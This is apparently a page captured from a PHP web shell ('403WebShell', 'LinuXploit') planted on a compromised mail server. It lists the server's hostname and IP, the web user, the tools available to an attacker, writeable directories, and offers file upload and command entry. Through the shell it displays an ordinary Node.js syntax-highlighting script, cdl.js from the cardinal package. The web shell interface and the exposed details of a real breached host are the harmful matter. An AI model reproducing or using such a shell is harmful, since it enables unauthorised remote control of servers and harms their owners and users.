Uname:Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

403WebShell
403Webshell
Server IP : 82.148.16.210  /  Your IP : 216.73.216.244
Web Server : nginx/1.29.5
System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/projects/env4/src/dev/frontend3/node_modules/table/node_modules/cardinal/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/projects/env4/src/dev/frontend3/node_modules/table/node_modules/cardinal/bin/cdl.js
#!/usr/bin/env node
var cardinal = require('..')
var path = require('path')
var settings = require('../settings')
var args = process.argv
var theme = settings.resolveTheme()
var opts = settings.getSettings()
var highlighted

opts = opts || {}
opts.theme = theme
// jsx is only turned on when highlighting non-json files
opts.jsx = false

function usage() {
  var msg = [
      'Usage: cdl <filename.js> [options]'
    , ''
    , 'Options (~/.cardinalrc overrides):'
    , '  --nonum: turn off line printing'
    , ''
    , 'Unix Pipe Example: cat filename.js | grep console | cdl'
    , ''
  ].join('\n')
  console.log(msg)
}

function highlightFile() {
  try {
    // Enabling jsx for JSON breaks most likelely due to esprima AST generation
    // not working for JSON
    opts.jsx = path.extname(args[2]) !== '.json'
    highlighted = cardinal.highlightFileSync(args[2], opts)
    console.log(highlighted)
  } catch (e) {
    console.trace()
    console.error(e)
  }
}

(function runner() {
// E.g., "cardinal myfile.js"
if (args.length === 3) return highlightFile()

var opt = args[3]

// E.g., "cardinal myfile.js --nonum"
if (opt && opt.indexOf('--') === 0) {
  if ((/^--(nonum|noline)/i).test(opt)) opts.linenos = false
  else {
    usage()
    return console.error('Unknown option: ', opt)
  }

  return highlightFile()
}

// UNIX pipes e.g., "cat myfile.js | grep console | cardinal
var stdin = process.stdin
var stdout = process.stdout

// line numbers don't make sense when we are printing line by line
opts.linenos = false

stdin.setEncoding('utf-8')
stdin.resume()
stdin
  .on('data', function(chunk) {
    chunk.split('\n').forEach(function(line) {
      try {
        stdout.write(cardinal.highlight(line, opts) + '\n')
      } catch (e) {
        // line doesn't represent a valid js snippet and therefore cannot be parsed -> just print as is
        stdout.write(line + '\n')
      }
    })
  })
})()

Youez - 2016 - github.com/yon3zu
LinuXploit